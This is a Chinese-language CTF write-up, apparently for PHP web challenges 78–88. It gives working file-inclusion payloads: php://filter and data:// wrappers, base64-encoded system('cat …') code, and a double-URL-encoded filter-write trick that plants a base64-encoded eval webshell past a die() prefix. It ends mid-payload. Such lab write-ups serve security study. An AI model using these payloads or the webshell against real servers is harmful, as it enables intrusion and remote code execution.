web 78
payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
web 79
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
web 80-81
關於日志文件包含的知識點這個文章里已經寫的很詳細了日志文件包含
可能要多發包幾次
web 82-86
鏈接奉上:https://www.cnblogs.com/NPFS/p/13795170.html
web 87
P神文章奉上:談一談php://filter的妙用
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬別秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
先分析一下這個代碼,主要就是說過濾了php、data、: 、. ,然后將content參數的值寫入到file參數所定義的文件里,但是一同寫入的還有,在開頭增加了die的過程,導致即使我們成功寫入一句話,也執行不了
我們所要做的就是繞過die ,從而執行我們寫入的一句話,如何繞或在P神的文章里寫了很詳細了,總共有三種方法,不過我在這個題目,嘗試這三種方法,但只有一種成功。可能是因為版本原因或是別的....,導致另外兩種方法執行失敗
我用的是base64-decode的解法
將 php://filter/write=convert.base64-decode/resource=123.php (這里因為我們需要的是寫入的權限,所以是write)進行兩次url編碼,得到如下
%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%33%32%25%33%33%25%32%45%25%37%30%25%36%38%25%37%30
然后再content寫入經過base64編碼過后的一句話 (PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==)
這里content的值前面要加兩個字符,因為base64算法解碼時是4個byte一組,所以給他增加2個字符 一共8個字符
之后來到123.php頁面,命令執行即可
web 88
payload:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4
即 ?file=data://text/plain;base64,